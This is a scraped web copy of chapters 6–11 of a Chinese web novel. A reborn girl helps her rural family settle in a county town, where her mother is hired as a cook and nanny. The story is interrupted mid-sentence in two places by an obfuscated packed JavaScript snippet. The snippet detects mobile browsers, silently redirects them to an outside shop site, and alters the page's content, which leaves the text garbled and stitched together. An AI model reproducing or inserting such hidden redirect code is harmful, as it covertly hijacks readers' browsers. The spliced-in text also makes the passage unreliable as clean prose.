虽然她也很想留下两个女儿，但孟老板都已经让瘸着腿的白天强留下来了，怎么可能还让她留两个没用的小丫头。 白书佳也知道求她不行，连忙掉过头一把抱住了孟庆的大腿：“叔叔，你让我和姐姐也留下来吧，我们吃得很少的，我们也会干活，我和姐姐都很勤快。” 要是前世，白书佳做不出这样死皮赖脸的事，但现在，她不能让自己和姐姐回去那个火坑。 不开玩笑，姚老太会拿她和姐姐当人质，为了她们姐妹，董如萍在这里干活，赚的钱恐怕都攒不下，全要便宜了那对母子。 虽然白书佳很可爱，但孟庆不是很想同意，但等他再看到董如萍着急的模样，脑子拐了个弯儿，竟然还是答应下来。 “也行。” 董如萍才要揪过女儿，听到这话都愣了：“也行？我两个女儿也能留在这儿？” “嗯，先留两天看看吧。” 孟庆也没把话说死，他还得看看情况再说。 7. 第 7 章 翌日一早，孟庆走出房门长长伸了个懒腰，扭头一看，白家那一家子比他起得还早，大的小的都在棚子里忙活。 孟庆看了一会儿，回过头拿起房里的座机拨号，拨了好一会儿终于有人接了。 “喂，哪位？” 却是那蔡姐的声音。 孟庆：“叫我姐接电话。” “是孟老板啊，好的好的，我马上去。” 又等了好一会儿，孟菲菲的声音传出来：“一大早打什么电话，人都没醒。” 孟庆看了眼时间：“这都快六点了。” “谁没事六点起床？到底什么事？” 孟庆忙说明来意：“我帮你找到新的保姆了，这次保证靠谱。” 孟菲菲：“能有多靠谱？” 孟庆：“我观察了，这次的人手脚干净利索，厨艺还好，而且她有两个孩子，很会照顾孩子。” “人家有孩子还能来我这当保姆？” 孟庆：“人家还有爹嘛。我还没说完呢。” “你说。” “我看他们一家都想留在县城，姚家不是还有个老房子吗，你就让他们一家都住那老房子里去，让她去照顾你。她身边有家有小，丈夫瘸着腿，孩子又小，跑不快，顾忌着家里人，她肯定也不敢偷你东西。” “我找个保姆还得把人家一家子都养起来？” 孟庆：“那找什么你能放心？咱妈去世得早，家里近一点的亲戚也不好给你当保姆吧？当时候要说你派头大。远一点的亲戚……” 孟庆都不好说，他爸回去骂人，人家和他爸对骂，说孟菲菲难伺候，冤枉她，现在村里关系近的过来伺候人都得掂量掂量。 孟菲菲夫家和他们村的人也不亲近，人丁又单薄。 “你也只能找别人介绍，到时候介绍来的更不知底细，人家想跑就跑，现在有人能给你拿捏，不是比别人随便介绍来的人好些？” 孟菲菲：“可是蔡姐也……” 孟庆打断她：“你自己看看你怀孕后瘦了多少了，蔡姐那菜对付一帮老爷们还行，肯定不合你口味。” 孟庆直接做了决定：“中午我过去接你，你带姚希燃过来先看看，试试她做的饭菜合不合你胃口再说。这位董姐比蔡姐那手艺可强多了，我也不是随便给你介绍的。” 孟菲菲沉默两秒答应下来：“好吧。” 早餐吃的面条，浇头便是用昨晚剩的一点鸡汤做的香菇肉末汤，吃得一群人唏哩呼噜，头都来不及抬，等孟庆加了面，还要舀浇头，却见盆子里连最后一点辣椒末都刮干净了。 董如萍见状：“孟老板我给你煎个鸡蛋下点青菜吧？” 孟庆只好把碗递过去。 开车出去时，孟庆叫上了董如萍，俩人一块去菜市场买菜。 其他都是他出钱，但到一块二两的肉，董如萍却坚持自己出钱。 “你买这么点肉做什么？” 董如萍不好意思道：“给我两个女儿的，她们不能白吃白住你的，吃的再少也不行啊，她们又干不了什么活。” “你倒是疼你两个女儿，还特地给她们单独买肉。” 农村出来的，一般都舍不得，尤其还只是两个女儿而已，又不是儿子。吃个鸡蛋都最多了。 看到董如萍这样，孟庆反而更加放心了，将那肉扔开：“用不着，就让她们一起吃吧。” 他不知道董如萍也舍不得，只是董如萍想着孟庆肯定还是不愿意她将两个孩子留下，她便想着两个孩子陪她住一阵，吃得好点，再送回去。等回到奶奶身边，她两个女儿日子就苦了。 买完菜，孟庆先把董如萍送回厂里，才又开车出去。 等到中午，孟菲菲被孟庆接来，就见厨房大棚下，赫然是昨天她带过路的那一家人。 “是他们啊？” 孟菲菲对这家人的印象倒还算可以。夫妻俩看着是踏实的，人也很礼貌，两个孩子也算机灵懂事。 不过这会儿，这家人在棚子里似是有些不愉快，妻子板着脸，压低了声和男人吵架。 “我一个人在这里怎么不行了，你就是和你那个娘一样，你那年趁着农闲找了个修路的工地做小工，那段时间，你老娘就天天晚上硬要挤来和我一起睡，防我跟防贼似的。” “你家就那么大点的院子，这边放个屁那边都能听到，她还要那样防我，我是那样的人吗？” 白天强叹气：“我不是防你，我是防别人。这里全是男的你没看到吗，我要是回去了，就你一个女人，还都不认识，你要是被欺负了，叫天天不应，叫地地不灵。” “那你说，两个女儿怎么办，她们回去你那个娘能照顾得清楚？到时候我们这边挣了钱，那边把两个女儿饿得面黄肌瘦，她平时肯定还得问我要钱，要了钱又用不到你女儿身上！” 白天强也知道，也为难，闷着头不说话。 董如萍：“你就是看不起我，就这么几个男的，还未必打得过我呢。再说你瘸着腿，人家要真干什么坏事，你能帮上什么忙？” “我在这，他们多少有点顾忌嘛。” “你想太多了，我又不是什么黄花大闺女，不行我就在枕头底下藏菜刀……” 董如萍还没说完，孟庆已经走进了棚子里。 “藏什么？” “没什么，孟老板你来了。”董如萍讪讪一笑，她看到孟庆身后还跟着一个面熟的女人，微微意外，“孟，孟小姐，你也来了？过来玩吗？” 董如萍在孟菲菲的称呼上打了个磕巴，本来想叫孟太太，但喊得好像孟菲菲是孟庆的老婆一样，就改了口。 孟菲菲忙道：“别这么叫我，你就叫我名字吧，孟菲菲。” 在这小县城哪来什么小姐，她就是一个普通护士，家里丈夫能挣点钱罢了，这称呼要是被人听了，还不知道背后怎么笑话她呢。 “好的好的。”董如萍却避过了称呼。 孟菲菲看了眼厨房：“比上次我来收拾得干净多了。” 孟庆：“我说吧。” 那蔡姐也是个糊弄人，要不是沾点亲，她丈夫还能帮着看着点木材厂，他肯定是不乐意请蔡姐的。 俩人不想打扰厨房做饭，只是看了一眼就出去了，倒是姚希燃非要留下来和白书佳白书玲说话。 “你们在干嘛？” 白书玲和白书佳正蹲在盆子边洗小肠。 小少爷从没见过这种滑溜溜的东西，但是又忍不住好奇，趴在轮椅扶手上咦了一声：“这是什么，好恶心。” 白书佳给姐姐打下手倒盐：“这是猪小肠，做三鲜汤很好吃的，我妈妈做的猪杂三鲜汤是世界上最好吃的汤。” 前世早年家里没钱，吃不起别的好东西，都说猪肚猪肠猪肝也补，每到大型考试，董如萍就给白书佳做三鲜汤。 大学后，白书佳知道自己是个扫把星，除了寄钱，都不怎么回家，后来她妈妈明明不识字，害怕出远门，还是一个人千里迢迢，一路问到她工作的城市，在出租房里给她做了一桌菜，还特地煮了三鲜汤，抱着她求她回家。 “家里谁嫌你是扫把星了，你才不是，你永远是妈妈的幺儿，是妈妈的福星。” 董如萍是迷信的，但在女儿身上，她却偏不信邪，就算她明知和女儿上街就老是丢东西，磕磕碰碰，她也只会骂小偷，骂自己不小心，骂别人不长眼，绝不会是女儿的问题。 姚希燃不知道白书佳想什么，道：“我才不信。” “你没吃过，当然不信。” 姚希燃不服气：“谁说我没吃过，去年暑假我跟我爸去深市去海市，还去了首都，每个地方的大饭店都吃过，你妈妈是饭店大厨吗，你就敢说她做的最好吃？” “我为什么不敢，我妈妈在我心里就是这个世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但面前的小丫头才这么一点点大就知道了，怪聪明的，让他奶奶知道了，肯定很喜欢，不过之前在医院，奶奶就见过她，还抱在怀里说话呢。奶奶都很少抱他。 孟庆过来喊姚希燃：“你们聊什么呢？” 姚希燃抽空敷衍了他舅舅一下，又问白书佳：“你怎么没问我腿是怎么伤的？” 白书佳莫名：“为什么要问。” “因为每个见了我的人都要问。” “好吧，那你怎么伤的？” “追狗伤的，”姚希燃现在想起来还是很生气，“有人偷我家狗，我发现了，一路追出去，摔下台阶摔断的。后来我妈说，那个偷狗贼是我家保姆的亲戚，是她给那个人开的大门。” 白书佳：“那个人真可恶，狗也偷，还害得你伤了腿。” “对吧。”姚希燃像是终于找到了知音般，眼睛噌地比灯泡还亮，“你知道我跟那些大人说这事，他们都是怎么回我的吗？” “说你以后不要乱追人，让你告诉大人？” 姚希燃：“你这都知道？” 白书佳心里哼笑一声，当然知道，她毕竟比他多吃了一辈子的盐啊，而且，她之前的回答也是特意站在小孩的角度回的。 “和你聊完天我心情好多了。” 他闷在家里好些天了，只有在学校才能找到有共同话题的玩伴，但他又不想去上学。 “那就好。” 哄完小少爷，白书佳又去和白书玲洗别的菜，姚希燃想凑过去也找不到地儿，只能遗憾被舅舅推走。 “聊什么呢？” “随便聊了聊。” 姚希燃有自己的心事，和大人说不来。 被推进房间看了好一会儿漫画，姚希燃突然吸鼻子：“好香，这是做的什么菜啊，肯定很好吃，能吃了吗，妈妈？” 孟菲菲在门口，扭头先问了一遍厨房才回他：“猪杂三鲜汤。吃饭还要等一会儿，你要是饿了我先给你盛一点，有些菜已经做好了。” 姚希燃：“……” 8. 第 8 章 姚希燃还真的饿了，矜持不过两秒答应了下来。 孟庆给他单开一桌，已经做出来的菜都给他撇了一小份出来，专门摆在一张桌上供他享用。 “这个是三鲜汤吗？”姚希燃指着面前一盅飘着猪肚小肠的汤问。 “是啊。”孟庆把饭碗给他摆过去，“怎么了，不喜欢吃猪杂啊，有猪肝呢，吃了补眼睛。” 姚希燃：“没有不喜欢。” 他吸了吸鼻子，到底还是抵不过面前香气的诱惑，舀起了一勺浇在米饭上。 不辣，猪肚炖得爽脆但不失嚼劲，猪肝鲜嫩，小肠火候也恰到好处，明明没有重辣掩盖腥味，却一点也尝不出怪味，只有鲜。 姚希燃说不出那么具体，扒了一口饭，嚼了嚼，立马开始扒第二口。汤泡着饭，嫌筷子不过瘾，取了汤里的勺子，三两口，一碗饭飞快地见了底。 “饿死鬼投胎啊你？”孟庆刚要进来问他小外甥吃得喜不喜欢，就见他外甥伸了碗来。 他盛了饭才几分钟？ “舅舅，我还要。”姚希燃觉得不太过瘾，见汤碗也要见底，又要将汤碗递过去。 孟庆推着他：“去外面吃，大桌上一大盆呢。” 今天分了两张桌子，菜已经全部做好，除了三鲜汤，还有板栗炖鸡、小炒黄牛肉、香酥炸平菇、炒菠菜。 有一道比较特别的菜，放在孟菲菲面前，别人不夹，只有孟菲菲一个人吃。 姚希燃坐过去，好奇地伸筷子：“妈，这是什么？” 孟菲菲也没拦着：“你尝一点就行了，是傣味烧椒茄子。董阿姨特地做给妈妈开胃的。” 姚希燃刚吃没觉得有什么，还点评：“酸酸的，辣辣的，还有点烧了的味道，确实还挺开胃的。” 但等他咽下去，那股子后劲儿从舌尖蹿到喉咙口。 “辣辣辣……妈，好辣。” 孟菲菲被逗笑了，给他倒了杯水：“你一点也不像我，吃不了辣。” “这里面加了小米辣的。”孟庆也看笑了，怀疑他姐是故意的。 “我能吃一般辣，吃不了这么辣。”姚希燃喝了好几口水才缓过来。 他决定他还是专心吃别的菜好了，除了三鲜汤，炖鸡、平菇都很好吃，连他不爱吃的菠菜好像都比平时的香。 孟菲菲看他一口气又扒了半碗饭，有些欣慰：“也是委屈你了，看来之前是饿着你了。” 姚希燃听出她妈妈在打趣他，也没有生气，只道：“妈妈，我们让董阿姨去我们家做菜吧，蔡阿姨的菜一点儿也不好吃。” 他已经吐槽不下一次了，但孟菲菲不肯，说菜要那么好吃干嘛，能吃得下就行。 他妈妈怀孕没胃口，无法共情他，而他奶奶也觉得无所谓，这个家只有他因为吃不到一顿合口味的饭苦不堪言。 孟菲菲没想到儿子会先提出要求，她吃着饭，还没来得及回答，她儿子已经迅速扭头向舅舅请求：“舅舅，你就让董阿姨去我们家吧，之前蔡阿姨不也是你让她从这边去我们家的吗，董阿姨肯定也可以啊。” “求你了舅舅，我真的要受不了蔡阿姨的菜了，一点儿也不好吃。” “行了行了。”小孩子的话太过直白，眼看老刘的脸色都不好了，孟庆连忙打断他。 “行不行？”姚希燃却很执着。 孟庆只好道：“我这哪有不行的。” 姚希燃又连忙看他妈：“好不好啊妈妈？” 孟菲菲只能道：“还得问过人家愿不愿意去呢。” 毕竟是去当保姆，人家现在已经有一份工做得好好的，没必要去伺候人。 姚希燃是个行动派，抵着桌子借力转动轮椅，扫了一圈，找到了角落那张小桌子上的一家人。 “舅舅推我过去。” 孟庆无奈：“你先把饭吃了。” “不行，董阿姨不去我家，我吃不下。” 孟庆只好起身：“你也得让人家把饭吃了吧。” 姚希燃：“我说完他们就可以吃了。” 说着，俩人到了小桌子边。 董如萍和白天强其实已经听到了动静，连忙站了起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817180|190947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 孟庆道：“你们坐着，他说他的，你们吃你们的，不用管他。” 董如萍和白天强仍是不自在地站着。 姚希燃直接问：“董阿姨你愿意去我家吗，给我们家做饭，我让我妈给你开很高的工资，她开不起，我让我爸给你开。” 董如萍愣在那里，有点不知道该不该听一个小孩儿的。 而且她有一个很实际的问题：“阿姨不是一个人，阿姨还有丈夫和孩子，可能不太方便去你们家做饭。” “那有什么，我家都能住下。”姚希燃指着白书佳，“我喜欢和妹妹聊天，就让妹妹也住到我家去。” “这怎么行。” 但董如萍心里是有幻想的，要是这位有钱人家小少爷执意要她去当保姆，说不定他们家会松口，要是工资确实高，她可以带着丈夫孩子找个房子租住下来。白天强虽然腿瘸了，但在县城多少能找点活干。 这绝对比回村要好多了。 眼见董如萍无措，姚希燃说话也天真，孟庆打断道：“一会儿吃完饭再说吧。” 听了孟庆的话，董如萍又将之前的幻想压了下去。 保姆应该是要住家的，一般都是找熟人，就是木材厂这个工作，一般也是找亲朋好友，如果不是幺儿胆子大，敢去问，她肯定也得不到。 夫妻俩坐下来，白天强压低了声问：“要是他们要你去，工资高，你去不去？” “当然去。” 白天强皱眉：“可这是伺候人的活，谁知道他们家人好不好说话。” 董如萍瞪他一眼：“你以为在你家我就没伺候人是吧。” 她在家里也是伺候一家老小，没钱就算了，还要看人脸色听人闲话，有点钱还要上交，但在这里，要是主家好说话，为人也大方，伺候人还给钱呢，上哪儿找这样的好事儿。 “好吧，”白天强想想也没话可说了，“那你要是去，我就带着她们姐妹回去。” 董如萍不在木材厂干，他一个瘸子肯定也留不下来。 “再说吧，八字没一撇的事儿。” 9. 第 9 章 饭后，孟菲菲亲自来董如萍一家落脚的房间。 “董姐？” 董如萍连忙起了身：“孟小姐。” 孟菲菲笑着让她坐：“你听到希燃说的了吧，你愿意去我家做保姆吗？我这个人很好相处的，只有一点，不小偷小摸，你也看到我儿子了，我儿子的腿就是因为上一个保姆摔的，把我气死了。” 董如萍忙道：“那我肯定不会。我很会照顾人的，我两个女儿呢。” “书佳书玲，过来见过阿姨。” 白书玲怯怯喊了阿姨，白书佳则主动凑到孟菲菲身边：“阿姨好，阿姨你皮肤好白呀，好像在发光。” 孟菲菲不是第一次被人奉承容貌，却是第一次被人夸得这么具体，见小孩儿眼里亮晶晶的，好像发自内心羡慕她皮肤白，她比被公式化地夸漂亮还高兴，这证明小孩儿是真心实意的。 “谢谢你，你也很白，梨涡也很可爱。” 两个孩子被教育得很懂礼貌，之前在医院还给她和婆婆让过座，孟菲菲也记得，她心里对董如萍的评价还是很好的。如果妈妈人品不行，小孩子的行为就能体现出来。 白书佳又靠回到妈妈身边，道：“那妈妈是要去阿姨家吗，那我和姐姐还有爸爸呢，我不想和妈妈分开。” 孟菲菲已经从孟庆那儿了解到了白家的情况，今天过来吃过午饭，一顿简单的烧椒茄子就做到了她心坎里，她不再犹豫，道：“是这样的，我给你开一百一个月，包你的吃住，这个工资已经非常高了，糖厂小工一个月最多也就六十块。但我不管你们家其他人的，但我给他们安排一个住处，不要你们房租，只是住的简陋，是我们家一处老院子，不知道你们愿不愿意？” 董如萍激动得眼睛都瞪大了，惊喜地和白天强对视一眼，连连点头：“这有什么不愿意。” 午饭后，孟庆开车送姐姐外甥并董如萍一家离开，走的时候，木材厂的小伙子还有舍不得的。 “董姐这就走啦？” 孟庆好笑：“蔡姐就回来了，放心，不会饿着你们。” 一群人顿时叹气，连老刘都挠了挠头，吃过人家三顿饭，他不承认也得承认，别人老婆的手艺就是比他老婆的好。 到了孟菲菲家，孟菲菲先带着姚希燃回去，过了好一会儿，才带着蔡姐又出来。 蔡姐看起来有点沮丧，但也没说什么，只瞥了董如萍等人一眼。 孟庆道：“蔡姐，你一会儿就跟我回木材厂吧，你们夫妻在那边一起干活也方便。” 蔡姐道：“不用，不用，我正好买点东西，我自己回去就行。” 她说着背着包就往街口去了。 孟庆看向孟菲菲：“你怎么打发的？” 孟菲菲：“我多给她结了一个月的工资呢。” “那够可以了，这个月都还刚过半呢。” “你们跟我来吧。” 孟菲菲先带董如萍进院子。 孟庆：“不先去老房子啊？” 孟菲菲：“让他们一家先看过董姐住的地方。” 董如萍住的地方就在一楼，靠近大门玄关的地方，像个小杂物间，有个架子床，里面还算整洁。 “之前保姆都住这里，董姐你可以住这里，也可以和你家人住后面的老院子。住这里的话，希燃起夜叫人会方便一些。” 孟菲菲翻箱倒柜找到钥匙，又带他们去老院子。 离得倒也不远，大概屋后半里地。 确实是老院子，都塌了半边了，但和没塌的主屋没挨着，影响倒也不大。 白天强自己会检修房子，看出来这房子只是瞧着吓人罢了，主屋的梁还是好的。农村多的是人住这样的房子。 房子后面是一片杂树林山，旁边是秋收后支棱着稻茬的田地。院子里的菜地都长满了杂草，只有一条通向堂屋的路。 一行人进去看了看，孟庆道：“过两天我找人来检修一下，应该还能住。” 进去后，孟菲菲试着开灯：“还能开，之前一次□□过不少电费，过年的时候家里来亲朋，这里住过人的。” 屋子里铺着一层薄灰。 “院子里有井，厨房有抹布，擦一擦就好。对了，衣柜里也有被子枕头，就是有些年头了，你们将就盖一下。” “你们先收拾吧，收拾好了，董姐再去我那儿。” 董如萍和白天强压下心底的激动，连连道谢，送孟菲菲和孟庆出了院门。 孟庆没有久留，叮嘱了孟菲菲两句又开车走了。 回到家里，齐老太太竟坐在客厅里戴着老花镜看报 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“没有，”老太太用力把药咽下去，缓了缓才慢吞吞道，“我是觉得那房子快要倒了，给人住怕是有危险。” 那土砖房是老太太和老伴看着搭起来的，后来在这栋小洋楼处盖了红砖房，再后来她儿子，也就是孟菲菲的丈夫姚春满，去深市赚了钱又盖了这栋小洋楼。那房子快十几年没住了，她最多也就是有点怀念过去和老伴两个人的生活。 房子这种东西生不带来死不带去，以后这栋洋楼说不定还要住进别的陌生人呢，一栋快塌的老房子而已，让人住着有烟火气，说不定还能维持久一点，有什么可不高兴的。 “新保姆是一家子过来的吗，知根知底吗？” “人应该还行，手艺倒是确实不错，我和希燃今天过去吃午饭，希燃都多吃了两碗饭，喊着要我找董阿姨当保姆，不要蔡阿姨。” “希燃回来也跟我说了。” “先用用看吧，让他们住老房子，那里面也没什么东西可供他们偷的。”孟菲菲又回她顾虑，“我弟说了会找人去检修一下，而且过年的时候，姚春满带朋友回来住，住不下那么多人，还安排人过去住过，那时候就找人看过，说是堂屋主卧的房梁用料好，再撑个七八年不成问题。” 10. 第 10 章 孟庆离开前，给了董如萍五块钱，说是算这两天的工钱。 孟菲菲也先付了半个月的工资，让他们能有钱安家。 “这是户厚道人家。”白天强绞了帕子擦桌子。 董如萍擦床：“确实。” 她现在对新工作充满了期待，对未来也有了信心。 他们一家辗转两天，峰回路转，竟然当真在县城留了下来。 两个小丫头在院子里拔草，一边拔一边嘀嘀咕咕说小话。 那声音传过来，模糊听不清，只知道天真可爱，董如萍心里一时说不出的满足。 白天强则喊了声：“小心蛇啊。” 白书佳：“知道啦。” 她刚回应完，白书佳突然欢呼了一声。 “鸟蛋，鸟蛋，这里有鸟蛋，姐姐。” 白书玲连忙凑到白书佳身边，果然看到草丛里有一个成人巴掌大的鸟窝。 那蛋不足鸡蛋的一半大小，都是青皮的。 董如萍听到动静跑出来：“哪来的鸟蛋？” 白书玲上前捧了出来：“有五个鸟蛋，妈妈。” 白天强在屋里笑了声：“那你们有口福了呀，今天晚上有鸟蛋吃咯。” 白书玲却将鸟窝抱在怀里，看了又看，想说什么，看看董如萍又咽了回去。 白书佳没有错过她神情，道：“姐姐，你是不是想到鸟妈妈啦？” 白书玲“嗯”了声：“不过我已经把鸟蛋捡起来了，鸟妈妈不会回来了。” “那我们还吃吗？” 白书玲想到鸡蛋的焦香，咽了下口水，终是用力点头：“吃。” 拔了杂草，却见院子里竟还有苋菜和萝卜缨子，只是没人打理，长得不怎么样。 “吃一顿也够了。” 董如萍将厨房收拾了出来。 橱柜里竟然还有一口老锅，只是不知多久没用了。 她打了水，找到一把竹刷，用力刷了两下，露出底下发亮的锅底，看着还是能用的。 之后，白天强带着女儿干活，董如萍去街上备些必要的生活用品。 忙活了半个下午，董如萍见时间不早，不好再耽误，连忙去了孟菲菲家。 她连敲了好几下门，孟菲菲才来开门。 “我还以为你要快晚饭的时候才过来呢，家里收拾好了？” “还没有，他们父女收拾呢，我过来看看，看孟小姐你有什么吩咐没。” 孟菲菲对董如萍积极的态度十分满意，笑道：“都说了不要叫我孟小姐了，你可以叫我名字嘛。” 董如萍却问：“不知道您今年多大年纪了？” 孟菲菲：“我三十四了。” 董如萍并不算太意外，笑笑道：“我二十六呢，不如我叫您孟姐吧。” “啊？”孟菲菲下巴都快掉地上了，“你才二十六？” “是啊。”董如萍看她反应这么大，有些心酸。 她干了一辈子农活，怀孕流产让她身体受损，后来又生了书佳，怀着身子农活也没停过，年纪轻轻就有些显老。 之前孟菲菲喊她姐，她就知道肯定喊错了，与其等孟菲菲自己发现尴尬，还不如她早点说开。 孟菲菲想起来：“也对，你大女儿都才六岁多，我大女儿都十六岁上高中了。” “那怎么没见过您大女儿？她在学校？” “是，她寄宿呢，半个月回一次家，明明离着也不远，不肯着家，孩子大了就是不服管教。” 董如萍开解道：“等她再大一些就好了。” “我以后叫你阿萍吧，”孟菲菲不想多聊女儿，又问她，“你识字吗？” 董如萍最怕人问的问题来了。 但有些事不是那么好掩盖的，她不好撒谎，便回道：“不识字。” “一点书也没念过？”孟菲菲倒不是很意外，现在这个年头，农村出来的读过书的妇人很少。 “上过两个月，知道算数。” 算数还不是学校教会的，而是她后来自己积攒的生活经验，她心算是很强的，认称也行，出门赶集只要不拿方块字给她认，谁也诓不了她。 “那也够了。” 孟菲菲收拾了一下：“希燃和我婆婆都在午睡，一时半会儿起不来，我们去街上逛逛，买点我想吃的菜。你手艺好，我还能点个菜，之前蔡姐在这儿，我都没心思吃饭。” 董如萍听人夸自己手艺，心里是高兴的，但不好跟着踩上一位，以后说不好还会有下一任呢，还不知道 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“她识字？”老太太插了一句，“那丫头有五岁吗？大的那个有五岁了吧。” “小的还没有五岁，今年三岁多，明年三月才满四岁，大的倒是有六岁多了。”董如萍连忙回应。 老太太问姚希燃：“那打赌的是小的妹妹还是大的妹妹，应该是小的妹妹吧？” 她还记得小的那个十分机灵。 “对呀，是小的那个，她说她姐姐很腼腆。奶奶，她好聪明，她没读过书都知道腼腆呢。” “是吗。” 董如萍有些不好意思：“可能从哪儿听来的。” “她年纪那么小，听来能记住也很了不起。” 齐老太太就喜欢聪明的孩子。 “以后可以带孩子来玩嘛，姚希燃请假在家里一个人也无趣。” 孟菲菲却道：“过两天还是得让他去上学，他在家里跟着你又学不进去。” 姚希燃哎呀一声，显是对上学之事极为排斥，但要是老妈决定好了，他哭天喊地也没用。 他大喊“奶奶”。 奶奶却说：“听你妈妈的吧。” 11. 第 11 章 董如萍本打算大显身手一番，结果进了孟家的厨房却发现，很多东西她都只是听过，像什么冰箱啊，电饭锅啊，煤气灶啊，她都怕下手。 好在孟菲菲很有耐心，教她东西放在哪儿，教她怎么用。 “冰箱还有今天早上买的肉，排骨在底下，这里是煤气罐，用的时候开这里，这个灶往左边拧，再往回拧是开小火。” 董如萍竖着耳朵听得小心翼翼，上手也不敢用力。 孟菲菲：“别怕弄坏了，只要不是故意弄坏的，不会说你的。” 董如萍听到这句话才有了点底气，但仍是轻手轻脚。 “熟悉了就好了。” 之前那两位保姆，初见这些工具也是不敢用，后来一个比一个力气大。 等董如萍开始备菜，渐入正轨后，孟菲菲便不再守着厨房，董如萍也松了口气。 老太太口味比较淡，刚好家里有莲藕，便问董如萍会不会，想吃一道莲藕酿肉。 董如萍虽没做过，但做过青椒酿肉。 “我试一试吧。” 这晚上，董如萍做了三菜一汤。 其中南省菜薄荷茶香骨是董如萍的拿手菜。 排骨用薄荷水、糯米香茶水浸泡过，腌制油炸，酥香脱骨，吃完姚希燃便立马道：“这是我最喜欢吃的排骨。” 孟菲菲还是喜欢吃酸辣口，董如萍给她做了一份酸菜豆腐汤，加了小米辣。 莲藕酿肉第一次做，竟也大获老太太好评。 “这个莲藕炖得烂，刚好合我老人家的口味。” 董如萍顿时放了心，她尝过一点，本来还觉得失手了。 这顿晚饭也算是收服了老太太的心。 总体而言，董如萍对自己今晚的表现很满意，这份工作至此也算是稳定了下来。 饭后，董如萍请了个假，决定回去住一晚。 考虑到姚希燃的腿和老太太的身子骨，董如萍不好住外面，她也很自觉，但这是第一天，她实在不放心家里。 “我想回去看看他们收拾好了没，以后肯定会住家里照顾齐老师和希燃。” 齐老太太喜欢别人叫她齐老师。 孟菲菲答应下来，还用手电筒送她出门。 董如萍刚出门，却见门口杵着白天强和两个女儿，也不知道在门口等多久了。 “你们怎么过来了？” 白天强：“我猜着你不放心，今天肯定会回去住。就过来看看能不能接到你，顺便当散步了。” 孟菲菲听了在后头道：“你们夫妻感情还挺好的。” “好什么，他讨嫌得很。”董如萍没有听出她语气略带艳羡，谢过孟菲菲递来的手电筒，催促道：“你快进屋吧，晚上有点凉了，别吹着风了。” “好。” 他们一家一前一后走进巷子，夫妻俩边走边拌嘴，却是越走越近，孟菲菲目送了两眼才关门进屋。 董如萍问白天强，晚上吃的什么。 “炒了一个苋菜，在山脚下拔了两根笋子炒那个鸟蛋，就吃的这个。” “你们倒是省事。” 董如萍笑了。 屋里亮着灯，擦过的房间看着亮堂了许多，床铺也收拾好了，床上铺的柜子里姚家的旧被子。 说是旧被子，实际上在她们村里，这种被子多的是人盖，根本不可能扔在一边不要。 董如萍用过白天强烧好的热水洗脸洗脚，等爬到床上，大的那个已经睡了，小的不知道在支着眼皮等什么。 她疼爱地掐掐女儿的小脸：“还不睡？” 白书佳抱住她：“等妈妈。” 董如萍拍拍她的背：“快睡吧。” 白书佳乖巧地躺下。 董如萍等了会儿，白天强也收拾好熄灯上床了。 董如萍还盯着小女儿睡着的脸不放。 “看什么呢？” “看我家小福星。” 董如萍想想这两天的事还有点像在梦里，先是捡钱，等去完医院，满心期待着能有份新工作，说不定还能学个做点心的手艺，哪知道人家不要她了，结果要回去时又峰回路转，让书佳又给她找到份新工作，新工作还没做满一天，又让她捡到份工资翻倍的活。 虽说是伺候人吧，但和在半熟不熟的人的家庭作坊里干活比还真不知道哪个松快。 最重要的是，一家人在县城竟然还定下来了。 细想，这些天给他们带来这些改变的，都是幺儿。 幺儿做个梦说服了白天强，让他不敢再去边城，幺儿晕个车，还能捡钱，还机灵，听了人家说话，就知道人家要找人干活。 董如萍：“咱们幺儿怕不是福星转世，神仙显灵了。” 白天强也想到自己那天出奇好的手气：“这娃打生下来我就知道不一般。” “你就放屁吧，我还不知道你，一看不是个带把的，那叹气的样和你那娘一个模子刻出来的。” 白天强不承认：“我那是怕你还要生……” 中间有两个，是对双胞胎，都流了，是干活不小心早产流的。胎儿大了，也都知道是女儿，其中一个强壮点的，硬是没保住。 实在生不出来也没法，只是想想不甘心罢了。 “我还不心疼你啊，我娘还催你生，我都说不生了，我还偷偷去结了扎。” “你要真心疼我，中间那两孩子能流？还至于生到幺儿？” “可要是不生到幺儿，咱还能有今天这好事？幺儿是注定要投到咱们家的，有了幺儿，咱们家肯定慢慢就能好起来了。” 董如萍嗤他：“还指望个孩子。” “我当然不是指望孩子，只是这么一说……” 俩人拌着嘴差点睡着，董如萍梦中又想起来一事，一个睁眼，又推醒了白天强。 “你明天是不是得回去一趟？” 白天强打了个哈欠：“肯定得回去，得背些秋冬的衣服过来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817183|190947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “还有米，”董如萍叹了口气，“在县里生活还是没那么容易，我今天去买东西，什么都要钱，那好的米和家里的陈米差不多，竟然要五毛一斤。” 她最后挑挑拣拣买了十斤两毛的。 “我挑些来……还有这床这么小，四个人太挤了，不然还是带回去一个好了……” 夫妻俩咕哝到半夜撑不住了才闭上眼睡过去。 白书佳每晚都要偷听爸妈说话，但每晚都坚持不到最后，只迷糊听了个大概。 